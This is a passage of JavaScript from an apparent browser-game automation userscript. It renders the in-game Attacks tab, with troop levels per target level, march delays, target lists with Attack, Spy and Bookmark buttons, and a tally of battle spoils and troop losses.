				verboseLog(targMsg + ' ' + translate('attempted'));

				Messages.addBattleReportListener(t.gotBattleReport); /* Start battle listener is switch off */
				new MyAjax.marchSend(cityId, target.x, target.y, availableGeneral.id, units, 'attacks', function(rslt) {
					if (rslt.ok) {
						verboseLog(targMsg + ' ' + translate('Successfully'));
						if (Data.options.attacks.log_attacks) actionLog(targMsg);
						dispFeedback(UID['tabAttack_Feedback'], targMsg);
						var xy = target.x + ',' + target.y;
						if (!Data.map.coords[xy]) Data.map.coords[xy] = {};
						Data.map.coords[xy].la = serverTime();
						target.la = serverTime();
						notify('OK');
					} else {
						verboseLog(targMsg + ' ' + translate('failed and returned error') + ': ' + rslt.errmsg);
						dispFeedback(UID['tabAttack_Feedback'], translate('Error') + ': ' + rslt.errmsg);
						notify(translate('Error') + ': ' + rslt.errmsg);
					}
					if (!Data.options.attacks.enabled) Messages.removeReportListener('attacks', t.gotBattleReport); /* Ask to switch off battle listener */
				});
			},

			/*** Attacks Tab - Levels Sub-Tab ***/
			tabAttackLevels: function() {
				var t = Tabs.Attacks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAttackLevels']).className = 'selected';
				document.getElementById(UID['tabAttackLevels']).style.zIndex = 1;
				t.lastSubTab = 'tabAttackLevels';

				t.contentType = 0;

				var city = Seed.cities[CAPITAL.id];
				var m = '<div class="' + UID['title'] + '">' + translate('Attacks') + '&nbsp;' + translate(Data.options.attacks.choice) + ' ( ' + translate('Max') + '. ' + translate('Troops') + ' ' + numf(toNum((getMusterPoint(CAPITAL.id)).max_troops), ' ') + ' )</div>' + '<div id=' + setUID('tabAAttackLevels_Statbox') + ' class=' + UID['status_ticker'] + ' style="height:410px; max-height:410px; overflow-y:auto; margin-top:1px !important">' + '	<table class=' + UID['compact_table'] + ' width=100%>' + '		<tr class=' + UID['row_top_headers'] + '>' + '			<td style="background:none !important;"></td>' + '			<td align=center colspan=11>&nbsp;' + translate('Levels') + '&nbsp;</td>' + '		</tr>' + '		<tr align=center class=' + UID['row_headers'] + '>' + '			<td width=12% style="background:none !important;"></td>' + '			<td width=8%>1</td>' + '			<td width=8%>2</td>' + '			<td width=8%>3</td>' + '			<td width=8%>4</td>' + '			<td width=8%>5</td>' + '			<td width=8%>6</td>' + '			<td width=8%>7</td>' + '			<td width=8%>8</td>' + '			<td width=8%>9</td>' + '			<td width=8%>10</td>' + '			<td width=8%>11</td>' + '		</tr>' + '		<tr align=center>' + '			<td class=right>' + translate('Enable') + ': </td>';

				for (var x = 1; x < 12; x++) {
					m += '		<td><label><input type=checkbox id=' + setUID('tabAttackLevels_LvlOnOff_' + x) + ' ref=' + x + ' ' + (Data.options.attacks.level_enable[x] ? ' checked' : '') + ' /></label></td>';
				}

				m += '		</tr><tr align=center>' + '			<td class=right>' + translate('Max') + ' ' + translate('Distance').truncate(4, '') + ': </td>';

				for (var x = 1; x < 12; x++) {
					m += '		<td><input type=text id=' + setUID('tabAttackLevels_LvlDist_' + x) + ' ref=' + x + ' maxlength=2 style="width:37px" value="' + Data.options.attacks.level_distance[x] + '" /></td>';
				}
				m += '		</tr><tr>' + '				<td><div class=short></div></td>' + '			</tr>';

				var currentTroops = [];
				for (var i = 0; i < attack_unit_types.length; i++) {
					var color = '#FFF';
					if (i < 5) color = '#DDD';
					else if (i < 8) color = '#BEB';
					else if (i < 10) color = '#EEB';
					else if (i < 12) color = '#BBE';
					else if (i < 16) color = '#EBB';
					else color = '#EBB';
					m += '<tr style="background-color:' + color + ';">' + '		<td class=right><span title="' + translate(attack_unit_types[i]) + '">' + translate(Names.getTroopAbbr(attack_unit_types[i])) + ':<span></td>';
					for (var x = 1; x < 12; x++) {
						var num = Data.options.attacks.units[x][attack_unit_types[i]];
						if (!num) num = 0;
						m += '<td><input type=text id=' + setUID('tabAttackLevels_LvlTroops_' + x + '_' + i) + ' ref=' + (x + '_' + i) + ' maxlength=6 size=2 style="width:38px;' + (num ? '' : 'color:#888;') + '" value="' + num + '" title="" /></td>';
					}
					m += '</tr>';
					currentTroops.push(i);
				}

				m += '<tr>' + '		<td><div class=short></div></td>' + '	</tr>' + '	<tr>' + '		<td style="background:none !important;"></td>' + '		<td align=center colspan=11 align=center>' + '			<table cellpadding=1 cellspacing=1 width=90%>' + '				<tr><td width=40%><hr></td><td>&nbsp &nbsp' + translate('Great dragons') + '&nbsp &nbsp</td><td width=40%><hr></td></tr>' + '			</table></td>' + '	</tr><tr align=center>' + '		<td class=right><span title="' + translate('Include Great Dragon') + '">' + translate('Dragons') + ':<span></td>';
				for (var x = 1; x < 12; x++) {
					m += '		<td><label><input type=checkbox id=' + setUID('tabAttackLevels_GreatDrag_' + x) + ' ref=' + x + ' ' + (Data.options.attacks.include_great_dragon[x] ? ' checked' : '') + ' /></label></td>';
				}
				m += '</tr><tr align=center>' + '		<td class=left><span title="' + translate('Check the following great dragons to exclude them from being sent') + '">' + translate('Except') + ':<span></td>'; + '	</tr>'
				var currentDragons = [];
				for (var j = 0; j < Seed.dragonList.length; j++) {
					var dragon = Seed.dragonList[j],
						color = '';
					if (j % 2 == 1) color = '#EBB';
					else color = '#ECB';
					m += '<tr style="background-color:' + color + ';">' + '		<td class=right><span title="' + translate(dragon.type) + '">' + translate(Names.getTroopAbbr(dragon.type)) + ':<span></td>';
					for (var x = 1; x < 12; x++) {
						m += '<td align=center><input type=checkbox id=' + setUID('tabAttackLevels_LvlDragons_' + x + '_' + j) + ' ref="' + (x + '_' + j) + '" ' + (Data.options.attacks.except_great_dragon[x][dragon.type] ? ' checked' : '') + ' /></td>';
					}
					m += '</tr>';
					currentDragons.push(j);
				}

				m += '</table><div class=short></div></div>';
				document.getElementById(UID['tabAttack_Content']).innerHTML = m;
				for (var x = 1; x < 12; x++) {
					document.getElementById(UID['tabAttackLevels_LvlOnOff_' + x]).addEventListener('change', enableChanged, false);
					document.getElementById(UID['tabAttackLevels_LvlDist_' + x]).addEventListener('change', distChanged, false);
					document.getElementById(UID['tabAttackLevels_GreatDrag_' + x]).addEventListener('change', dragChanged, false);
				}
				for (var i = 0; i < currentTroops.length; ++i) {
					for (var x = 1; x < 12; x++) {
						document.getElementById(UID['tabAttackLevels_LvlTroops_' + x + '_' + currentTroops[i]]).addEventListener('change', troopsChanged, false);
					}
				}
				for (var j = 0; j < currentDragons.length; ++j) {
					for (var x = 1; x < 12; x++) {
						document.getElementById(UID['tabAttackLevels_LvlDragons_' + x + '_' + currentDragons[j]]).addEventListener('change', exceptDragonsChanged, false);
					}
				}

				function enableChanged(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.attacks.level_enable[n] = event.target.checked;
				}

				function distChanged(event) {
					var n = toNum(event.target.getAttribute('ref'));
					var x = toNum(event.target.value);
					if (isNaN(x) || x < 0 || x > t.MAX_DISTANCE) {
						event.target.style.backgroundColor = 'red';
						dispError(translate('Distance must be between') + ' 0 ' + translate('and') + ' ' + t.MAX_DISTANCE, t.container);
					} else {
						event.target.value = x;
						event.target.style.backgroundColor = '';
						Data.options.attacks.level_distance[n] = x;
					}
				}

				function dragChanged(event) {
					var n = toNum(event.target.getAttribute('ref'));
					Data.options.attacks.include_great_dragon[n] = event.target.checked;
				}

				function exceptDragonsChanged(event) {
					var args = event.target.getAttribute('ref').split('_');
					Data.options.attacks.except_great_dragon[args[0]][Seed.dragonList[args[1]].type] = event.target.checked;
				}

				function troopsChanged(event) {
					var args = event.target.getAttribute('ref').split('_');
					var x = toNum(event.target.value);
					if (isNaN(x) || x < 0 || x > 200000) {
						event.target.style.backgroundColor = 'red';
						dispError(translate('Invalid number of troops', t.container));
					} else {
						event.target.value = x;
						Data.options.attacks.units[args[0]][attack_unit_types[args[1]]] = x;
						event.target.style.backgroundColor = '';
						if (toNum(event.target.value) > 0) event.target.style.color = '#000';
					}
				}
			},

			/*** Attacks Tab - Config Sub-Tab ***/
			tabAttackConfig: function() {
				var t = Tabs.Attacks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAttackConfig']).className = 'selected';
				document.getElementById(UID['tabAttackConfig']).style.zIndex = 1;
				t.lastSubTab = 'tabAttackConfig';

				t.contentType = 1;

				var m = '<div class=' + UID['title'] + '>' + translate('Attacks Configuration') + '</div>' 
					  + '<div id=' + setUID('tabAttackConfig_Status') + ' class=' + UID['status_ticker'] + ' style="overflow:auto">' 
					  + '	<table class=' + UID['table'] + ' width=100%>' + '	<tr>' + '		<td width=50% class=right>' + translate('Delay Between Attacks') + ':&nbsp;</td>' + '		<td width=50%>' + '		<input class=short id=' + setUID('tabAttackConfig_DelayMin') + ' maxlength=4 type=text value="' + Data.options.attacks.delay_min + '" />&nbsp;' + translate('to') + '		<input class=short id=' + setUID('tabAttackConfig_DelayMax') + ' maxlength=4 type=text value="' + Data.options.attacks.delay_max + '" />&nbsp;' + translate('seconds') + '		</td>' 
					  + '	</tr><tr>' + '		<td class=right>' + translate('Delete Battle Reports') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabAttackConfig_DelAttacks') + ' ' + (Data.options.attacks.delete_reports ? 'CHECKED ' : '') + ' type=checkbox /></td>' 
					  + '	</tr><tr>' + '		<td class=right>' + translate('Stop if any troops lost') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabAttackConfig_StopOnLoss') + ' ' + (Data.options.attacks.stop_on_loss ? 'CHECKED ' : '') + ' type=checkbox /></td>' 
					  + '	</tr><tr>' + '		<td class=right>' + translate('Maximum simultaneous marches') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabAttackConfig_MaxMarches') + ' class=short maxlength=2 type=text value="' + Data.options.attacks.max_marches + '" /></td>' 
					  + '	</tr><tr>' + '		<td class=right>' + translate('Activate Attacks Logs') + ':&nbsp;</td>' + '		<td><input id=' + setUID('tabAttackConfig_LogAttack') + ' ' + (Data.options.attacks.log_attacks ? 'CHECKED ' : '') + ' type=checkbox /></td>' 
					  + '	</tr><tr>' + '		<td class=right>' + translate('Clear last attack on current map') + '&nbsp;</td>' + '		<td><input id=' + setUID('tabAttackConfig_ClearLast') + '  type=button value="' + translate('Delete') + '" /></td>' 
					  + '	</tr><tr>' + '		<td class=right>' + translate('Clear last attack on all maps') + '&nbsp;</td>' + '		<td><input id=' + setUID('tabAttackConfig_ClearAll') + ' ' + (Data.options.attacks.clear_all_targets ? 'CHECKED ' : '') + ' type=checkbox /></td>' 
					  + '	</tr><tr>' + '		<td class=right>' + translate('Send even without Dragon') + ':&nbsp;</td>' + '			<td><input id=' + setUID('tabAttackConfig_SendWithoutDragon') + ' type=checkbox ' + (Data.options.attacks.send_without_dragon ? 'CHECKED' : '') + ' /></td>' + '		</tr>'
					  + '	</tr></table>';

				document.getElementById(UID['tabAttack_Content']).innerHTML = m;
				document.getElementById(UID['tabAttackConfig_DelAttacks']).addEventListener('change', function(event) {
					Data.options.attacks.delete_reports = event.target.checked;
				}, false);
				document.getElementById(UID['tabAttackConfig_StopOnLoss']).addEventListener('change', function(event) {
					Data.options.attacks.stop_on_loss = event.target.checked;
				}, false);
				document.getElementById(UID['tabAttackConfig_LogAttack']).addEventListener('change', function(event) {
					Data.options.attacks.log_attacks = event.target.checked;
				}, false);
				document.getElementById(UID['tabAttackConfig_ClearAll']).addEventListener('change', function(event) {
					Data.options.attacks.clear_all_targets = event.target.checked;
				}, false);
				document.getElementById(UID['tabAttackConfig_SendWithoutDragon']).addEventListener('click', function(event) {
					Data.options.attacks.send_without_dragon = event.target.checked;
				}, false);
				document.getElementById(UID['tabAttackConfig_DelayMin']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabAttackConfig_DelayMax']).addEventListener('change', delayChanged, false);
				document.getElementById(UID['tabAttackConfig_MaxMarches']).addEventListener('change', maxMarchesChanged, false);
				document.getElementById(UID['tabAttackConfig_ClearLast']).addEventListener('click', clearLast, false);

				function delayChanged(event) {
					var min = toNum(document.getElementById(UID['tabAttackConfig_DelayMin']).value);
					var max = toNum(document.getElementById(UID['tabAttackConfig_DelayMax']).value);
					if (min < nvl(MIN_DELAY, 10) || min > 3600 || (max - min) < 5) {
						var dial = new ModalDialog(t.container, 300, 150, '', true);
						dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Error') + '</b></center></div>';
						dial.getContentDiv().innerHTML = '<b>' + translate('Invalid delays') + '</b><br><br>' + translate('First value must be between') + ' ' + MIN_DELAY + ' ' + translate('and') + ' 3600. ' + translate('Second value must be at least') + ' 5 ' + translate('above the first value');
						return;
					}
					Data.options.attacks.delay_min = min;
					Data.options.attacks.delay_max = max;
				}

				function maxMarchesChanged(event) {
					var val = toNum(document.getElementById(UID['tabAttackConfig_MaxMarches']).value);
					if (val < 0 || val > Seed.cities[CAPITAL.id].figures.marches.maximum) {
						event.target.style.backgroundColor = 'red';
						return;
					}
					event.target.style.backgroundColor = '';
					Data.options.attacks.max_marches = val;
				}

				/*  Clear the information about when the target was last attacked
			This is useful because attacks always start with the oldest target or, 
			if no target has been attacked (last == 0), the first target in the list */

				function clearLast() {
					if (Data.options.attacks.clear_all_targets) {
						/* Make sure the user has scanned the map */
						for (var type in Map.targets) {
							var cur_targets = Map.targets[type];
							for (var i = 0; i < cur_targets.length; i++) {
								cur_targets[i].la = 0;
								Data.map.coords[cur_targets[i].x + ',' + cur_targets[i].y].la = 0;
							}
						}
					} else {
						/* Clear the last attacked field of the currently selected target */
						var cur_targets = Map.targets[Data.options.attacks.choice];
						for (var i = 0; i < cur_targets.length; i++) {
							cur_targets[i].la = 0;
							Data.map.coords[cur_targets[i].x + ',' + cur_targets[i].y].la = 0;
						}
					}
				}
			},

			/*** Attacks Tab - Targets Sub-Tab ***/
			tabAttackTarget: function() {
				var t = Tabs.Attacks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAttackTarget']).className = 'selected';
				document.getElementById(UID['tabAttackTarget']).style.zIndex = 1;
				t.lastSubTab = 'tabAttackTarget';

				t.contentType = 2;
				clearTimeout(t.targetTickTimer);

				t.checkMapData();
				var targets = t.getActiveObjectList();
				if (targets.length == 0) dispFeedback(UID['tabAttack_Feedback'], translate('Use the Levels Tab to select attack areas'));
				targets.sort(function(a, b) {
					return a.d - b.d;
				});

				document.getElementById(UID['tabAttack_Title']).innerHTML = translate('Attack') + ' ' + translate(Data.options.attacks.choice);
				var m = '<div class=' + UID['title'] + '>' + translate('Attacks') + '&nbsp;' + translate(Data.options.attacks.choice) + '</div>';

				setUID('tabAttackTarget_MapChoice');
				m += '<div id=' + setUID('tabAAttackTarget_Statbox') + ' class=' + UID['status_ticker'] + ' style="height:390px; max-height:390px">'
				m += '<table><tr>' + '<td align=right>' + '&nbsp;<b>' + translate('Select') + ' ' + translate('Targets') + '</b>' + '</td>' + '<td>' + ':&nbsp;<select id=' + UID['tabAttackTarget_MapChoice'] + '>';

				for (var type in Map.targets) {
					switch (type) {
						case 'City':
						case 'Outpost':
						case 'AnthropusCamp':
							m += '<option value="' + type + '" ' + (type == Data.options.attacks.choice ? 'selected' : '') + '>' + translate(type) + '</option>';
							break;
						default:
							break;
					}
				}
				m += '</select>&nbsp;' + '</td>' + '<td>' + '<span class=jewel>' + targets.length + ' ' + translate('of') + ' ' + Map.targets[Data.options.attacks.choice].length + '</span>' + '</td>' + '</tr></table><br>';

				m += '<div class="' + UID['scrollable'] + '" style="height:350px; width:530px; max-width:530px; overflow:auto; white-space:nowrap;">' + '<table id=' + setUID('tabAttackTarget_Tab') + ' class=' + UID['row_style'] + '>' + '	<tr class=' + UID['row_headers'] + '>' + '		<td valign=middle width="20px"><b>' + translate('Distance').substring(0, 4) + '</b></td>' + '		<td valign=middle width="20px"><b>' + translate('Time') + '</b></td>' + '		<td valign=middle width="30px"><b>' + translate('Coords') + '</b></td>' + '		<td valign=middle width="15px"><b>' + translate('Level') + ' </b></td>' + '		<td valign=middle width="80px"><b>' + translate('Last attack') + '</b></td>' + '		<td colspan=3 style="background:none"></td>' + '</tr>';

				/* Hilite owned wildernesses */
				var ownedWilderness = Seed.player.player_wildernesses,
					bFound = false,
					ul = [];
				for (var i = 0; i < targets.length; i++) {
					m += '<tr id=' + setUID('tabAttackTarget_TabRow_' + i);
					if (Data.options.attacks.choice == 'City' ||
						Data.options.attacks.choice == 'Outpost' ||
						Data.options.attacks.choice == 'Wildernesses'
					) {
						m += '  title="' + targets[i].cn + '  (' + translate(Map.names.type[targets[i].t]) + ') \n' + (targets[i].n || '????') + ' (lvl ' + targets[i].pl + ') - Pwr: ' + targets[i].m + ' \n' + translate('Alliance') + ': ' + (targets[i].a || '---') + '"'
					}
					var target_time = getMarchTime(targets[i].x, targets[i].y, Data.options.attacks.units[targets[i].l]);

					m += '>' + '<td>' + targets[i].d + '</td>' + '<td>' + timestrShort(target_time) + '</td>' + '<td align=center>' + targets[i].x + '/' + targets[i].y + '</td>' + '<td align=center>' + targets[i].l + '</td>' + '<td><span id=' + setUID('tabAttackTarget_List_' + i) + '> --- </span></td>' + '<td>';
					/*if (targets[i].A)*/
					m += '<input id=' + setUID('tabAttackTarget_AttackNow_' + i) + ' ref=' + i + ' class="' + UID['btn_red'] + '" style="width:auto !important;" type=button value="  ' + translate('Attack') + ' !  "/>' + '&nbsp;&nbsp;<input id=' + setUID('tabAttackTarget_SpyNow_' + i) + ' ref=' + i + ' class="' + UID['btn_red'] + '" style="width:auto !important;" type=button value="  ' + translate('Spy') + ' !  " />' + '&nbsp;&nbsp;<input id=' + setUID('tabAttackTarget_Bookmark_' + i) + ' ref=' + i + ' class="' + UID['btn_blue'] + '" style="width:auto !important;" type=button value=" ' + translate('Bookmark') + ' " />';

					if (targets[i].id && targets[i].id != '' && targets[i].n && targets[i].n != '') {
						var user_ids = targets[i].id + '_' + targets[i].n;
						var UIDMsg = setUID('tabAttackTarget_Msg_' + i);
						m += '	&nbsp;<input id=' + UIDMsg + ' ref=' + user_ids + ' class="' + UID['btn_blue'] + '" style="width:auto !important;" type=submit value="' + translate('Msg') + '" />';
						ul.push(UIDMsg);
					}

					/* Add the skip attack button for cities and outposts */
					if (Data.options.attacks.choice == 'City' ||
						Data.options.attacks.choice == 'Outpost' ||
						Data.options.attacks.choice == 'Wildernesses'
					) {
						if (!targets[i].F || targets[i].F == 0) {
							m += '&nbsp;&nbsp;</td><td><input id=' + setUID('tabAttackTarget_SkipAttack_' + i) + ' ref=' + i + ' type=checkbox ' + (targets[i].A ? 'CHECKED' : '') + ' /></td>' + '<td><b>' + (targets[i].n || '????').truncate(13).replace('...', '<span class=jewel>...</span>') + '</b></td>' + '<td>' + (targets[i].a || '---').truncate(16).replace('...', '<span class=jewel>...</span>');
						}
					}
					m += '</td></tr>';
				}
				m += '</table></div>';

				document.getElementById(UID['tabAttack_Content']).innerHTML = m;
				document.getElementById(UID['tabAttack_Content']).scrollTop = gAttScrollPos;

				/* Hilight owned resources and don't attack them */
				for (var i = 0; i < targets.length; i++) {
					for (var j = 0; j < ownedWilderness.length; j++) {
						if (ownedWilderness[j].x == targets[i].x && ownedWilderness[j].y == targets[i].y) {
							document.getElementById(UID['tabAttackTarget_TabRow_' + i]).className = UID['row_owned'];
							targets[i].A = false;
							break;
						}
					}
				}

				document.getElementById(UID['tabAttack_Content']).addEventListener('scroll', onScroll, false);
				document.getElementById(UID['tabAttackTarget_MapChoice']).addEventListener('change', onMapChoice, false);

				for (var i = 0; i < targets.length; i++) {
					var butAttack = document.getElementById(UID['tabAttackTarget_AttackNow_' + i]);
					butAttack.addEventListener('click', butAttackNow, false);
					var butSpy = document.getElementById(UID['tabAttackTarget_SpyNow_' + i]);
					butSpy.addEventListener('click', butSpyNow, false);
					var butBookmark = document.getElementById(UID['tabAttackTarget_Bookmark_' + i]);
					butBookmark.addEventListener('click', addBookmark, false);
					if (t.selectedMapName == 'City' || t.selectedMapName == 'Outpost' || t.selectedMapName == 'Wildernesses') {
						if (!targets[i].F || targets[i].F == 0)
							document.getElementById(UID['tabAttackTarget_SkipAttack_' + i]).addEventListener('click', toggleAttackable, false);
					}
					setButtonStyle(butAttack, targets[i].A, 'btn_green', 'btn_red');
					setButtonStyle(butSpy, targets[i].A, 'btn_green', 'btn_red');
					setButtonStyle(butBookmark, targets[i].A);
				}
				for (var u = 0; u < ul.length; u++)
					document.getElementById(ul[u]).addEventListener('click', onClickMsg, false);

				tick();

				function onScroll(event) {
					if (t.contentType == 2) gAttScrollPos = document.getElementById(UID['tabAttack_Content']).scrollTop;
				}

				function onMapChoice(event) {
					var t = Tabs.Attacks;
					if (Data.options.attacks.enabled) {
						/* It would be very bad to leave attack on when switching targets. Imagine sending the troops for a wilderness to a city or an ant camp...*/
						clearTimeout(t.targetTickTimer);
						t.setAttackEnable(false);
						dispFeedback(UID['tabAttack_Feedback'], translate('Safe Mode') + ': ' + translate('Attacks') + ' ' + translate('Turned Off'));
					}
					var el = event.target;
					Data.options.attacks.choice = Tabs.Attacks.selectedMapName = el.options[el.selectedIndex].value;
					t.tabAttackTarget();
				}

				function butAttackNow(event) {
					var n = toNum(event.target.getAttribute('ref'));
					var dial = new ModalDialog(t.container, 300, 150, '', false);
					dial.getTopDiv().innerHTML = '<div class=' + UID['title'] + '><center><b>' + scriptName + ' : ' + translate('Message') + '</b></center></div>';
					dial.getContentDiv().innerHTML = translate('Attacking');
					t.checkAttack(targets[n], notify);

					function notify(rslt) {
						if (rslt != 'OK') {
							dial.getContentDiv().innerHTML = '<b>' + rslt + '</b>';
							dial.allowClose(true);
						} else {
							dial.getContentDiv().innerHTML = '<b>' + translate('OK') + '</b>';
							setTimeout(function() {
								dial.destroy()
							}, 1000);
						}
					}
				}

				function butSpyNow(event) {
					var n = toNum(event.target.getAttribute('ref'));
					buttonSpyNow(t.container, targets[n]);
				}

				function toggleAttackable(event) {
					var n = toNum(event.target.getAttribute('ref'));
					targets[n].A = (!targets[n].A);
					setButtonStyle(document.getElementById(UID['tabAttackTarget_AttackNow_' + n]), targets[n].A, 'btn_green', 'btn_red');
					setButtonStyle(document.getElementById(UID['tabAttackTarget_SpyNow_' + n]), targets[n].A, 'btn_green', 'btn_red');
				}

				function addBookmark(event) {
					var n = toNum(event.target.getAttribute('ref'));
					var desc = '';
					if (Data.options.attacks.choice == 'City' ||
						Data.options.attacks.choice == 'Outpost' ||
						Data.options.attacks.choice == 'Wildernesses') {
						desc = translate(Map.names.type[targets[n].t]) + ' ' + targets[n].n + '  (' + numf(targets[n].m) + ')' + (targets[n].a != undefined ? ' / ' + targets[n].a : '');
					} else {
						desc = translate(Data.options.attacks.choice) + ' ' + translate('Level') + ' ' + targets[n].l;
					}
					saveBookmark(t.container, targets[n].x, targets[n].y, desc, targets[n].l,
						targets[n].id, targets[n].n,
						Data.options.attacks.units[targets[n].l], targets[n].ai,
						Data.options.attacks.include_great_dragon[targets[n].l], false,
						Data.options.attacks.except_great_dragon[targets[n].l]);
				}

				function tick() {
					var now = serverTime();
					var ts;
					clearTimeout(t.targetTickTimer);
					if (!document.getElementById(UID['tabAttackTarget_Tab'])) return;
					for (var i = 0; i < targets.length; i++) {
						var list = document.getElementById(UID['tabAttackTarget_List_' + i]);
						if (list == undefined) continue;

						if (is_null(targets[i].la)) ts = '---';
						else {
							var time = now - targets[i].la;
							if (time > 3600) ts = '<font color=#550000><b>' + timestr(time, false) + '</b></font>';
							else ts = timestr(time, false);
						}
						list.innerHTML = ts;
					}
					t.targetTickTimer = setTimeout(tick, 5000);
				}
			},

			/*** Attacks Tab - Stats Sub-tab ***/
			tabAttackStats: function() {
				var t = Tabs.Attacks;
				document.getElementById(UID[t.lastSubTab]).className = '';
				document.getElementById(UID[t.lastSubTab]).style.zIndex = 0;
				document.getElementById(UID['tabAttackStats']).className = 'selected';
				document.getElementById(UID['tabAttackStats']).style.zIndex = 1;
				t.lastSubTab = 'tabAttackStats';

				t.contentType = 3;

				var m = '<div class=' + UID['title'] + '>' + translate('Attacks Stats') + '</div>' + '<div id=' + setUID('tabAttackStats_Statbox') + ' class=' + UID['status_ticker'] + '>' + '<div id=' + setUID('tabAttackStats_Status') + '></div>' + '<div id=' + setUID('tabAttackStats_Percent') + '></div>' + '<br/>' + '<center><input id=' + setUID('tabAttackStats_Clear') + ' type=button value="' + translate('Clear Stats') + '" /></center>' + '<br></div>';

				document.getElementById(UID['tabAttack_Content']).innerHTML = m;
				document.getElementById(UID['tabAttackStats_Clear']).addEventListener('click', function() {
					t.clearStats();
					t.showStats();
				}, false);
				t.showStats();
			},

			clearStats: function() {
				var t = Tabs.Attacks;
				var now = serverTime();
				Data.stats.attacks = {
					start_at: now,
					run_time: 0,
					total_attacks: 0,
					loss: {},
					items: {},
					resources: {},
					by_level: []
				};
				t.curRunStart = now;
				for (var i = 0; i < 12; i++) {
					Data.stats.attacks.by_level[i] = {
						total_attacks: 0,
						items: {},
						resources: {}
					};
				}
				t.showStats();
			},

			trackStats: function(marchId, rpt_st) {
				var t = Tabs.Attacks;
				if (DEBUG_MARCHES) debugLog('Tabs.Attacks.trackStats: ' + marchId);
				var objLevel = rpt_st.report.location.level;

				if (objLevel < 1 || objLevel > 12) objLevel = 0;

				if (is_null(Data.stats.total.total_attacks)) Data.stats.total.total_attacks = 0;
				++Data.stats.attacks.total_attacks;
				++Data.stats.attacks.by_level[objLevel].total_attacks;
				++Data.stats.total.total_attacks;
				var res = rpt_st.report.spoils.resources;
				for (var p in res) {
					objAddTo(Data.stats.attacks.resources, p, toNum(res[p]), false);
					objAddTo(Data.stats.attacks.by_level[objLevel].resources, p, toNum(res[p]), false);
					objAddTo(Data.stats.total.resources, p, toNum(res[p]), false);
				}
				var killRes = rpt_st.report.spoils.kill_items;
				for (var p in killRes) {
					objAddTo(Data.stats.attacks.resources, p, toNum(killRes[p]), false);
					objAddTo(Data.stats.attacks.by_level[objLevel].resources, p, toNum(killRes[p]), false);
					objAddTo(Data.stats.total.resources, p, toNum(killRes[p]), false);
				}
				var items = rpt_st.report.spoils.items;
				for (var i = 0; i < items.length; i++) {
					objAddTo(Data.stats.attacks.items, items[i], 1, false);
					objAddTo(Data.stats.attacks.by_level[objLevel].items, items[i], 1, false);
					objAddTo(Data.stats.total.items, items[i], 1, true);
				}
				for (var p in rpt_st.report.attacker.units) {
					if (rpt_st.report.attacker.units[p][0] != rpt_st.report.attacker.units[p][1]) {
						var nb = toNum(rpt_st.report.attacker.units[p][0]) - toNum(rpt_st.report.attacker.units[p][1]);
						objAddTo(Data.stats.attacks.loss, p, nb, true);
						objAddTo(Data.stats.total.loss, p, nb, true);
					}
				}
				Data.marches.attacks[marchId].has_report = true;
				t.showStats();
			},

			showStats: function() {
				var div = document.getElementById(UID['tabAttackStats_Status']);
				var t = Tabs.Attacks;

				if (div == null) return;
				var run_time = Data.stats.attacks.run_time;
				if (Data.options.attacks.enabled) run_time += (serverTime() - t.curRunStart);
				var trueRunTime = (run_time > 0) ? (run_time / 3600) : 1;

				var m = '<table class=' + UID['table'] + '>' + '	<tr>' + '		<td class=right>' + translate('Start Date') + ': </td>' + '		<td>' + new Date(Data.stats.attacks.start_at * 1000).myString() + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Run Time') + ': </td>' + '		<td>' + timestr(run_time, true) + '</td>' + '	</tr><tr>' + '		<td class=right>' + translate('Attacks') + ': </td>' + '		<td>' + Data.stats.attacks.total_attacks + '</td>' + '	<tr valign=top align=right>' + '		<td class=right>' + translate('Troops lost') + ': </td>';
				var first = true;
				for (var name in Data.stats.attacks.loss) {
					var perHour = Math.round(Data.stats.attacks.loss[name] / trueRunTime);
					if (first) first = false;
					else m += '	<tr align=right><td></td>';
					m += '		<td>' + translate(name) + ':</td>' + '		<td>' + numf(Data.stats.attacks.loss[name], ' ') + '</td>' + '		<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '	</tr>';
				}
				m += '	</tr><tr valign=top>' + '		<td class=right>' + translate('Resources') + ': </td>' + '		<td>' + '			<table class=' + UID['table'] + '>';

				for (var name in Data.stats.attacks.resources) {
					var perHour = Math.round(Data.stats.attacks.resources[name] / trueRunTime);
					m += '	<tr align=right>' + '			<td>' + translate(name) + ':</td>' + '			<td>' + numf(Data.stats.attacks.resources[name], ' ') + '</td>' + '			<td>(' + numf(perHour, ' ') + ' /' + translate('h') + ')</td>' + '		</tr>';
				}
				m += '		</table>' + '		</td>' + '</tr></table>' + '<br><div class=' + UID['subtitle'] + '>' + translate('Statistics') + '&nbsp;' + translate('of') + '&nbsp;' + translate('Attack') + ' ' + translate('and') + ' ' + translate('Items') + '</div>' + '<div style="overflow:auto">' + '	<table class=' + UID['table'] + ' width=100%>' + '		<tr class=' + UID['row_top_headers'] + ' align=center>' + '			<td style="background:none !important;"></td>' + '			<td align=right colspan=11 width="440px">' + translate('Levels') + '</td>' + '		</tr><tr align=right class=' + UID['row_headers'] + '>' + '			<td style="background:none !important;"></td>';

				for (i = 1; i < 12; i++) {
					m += '	<td width="40px">' + i + '</td>';
				}
				m += '	</tr><tr>' + '			<td colspan=12><HR class=thin></td>' + '		</tr><tr align=right>' + '			<td class=right># ' + translate('Attacks') + ':</td>';

				for (i = 1; i < 12; i++) {
					m += '	<td>' + Data.stats.attacks.by_level[i].total_attacks + '</td>';
				}
				m += '	</tr><tr>' + '			<td colspan=12><HR class=thin></td>' + '		</tr>';

				var items = flipStats('items');
				for (var p in items) {
					m += '<tr align=right>' + '		<td class=right style="white-space:normal">' + translate(p) + ':</td>'; /*Names.getItemAbbr(p))*/
					for (i = 1; i < 12; i++) {
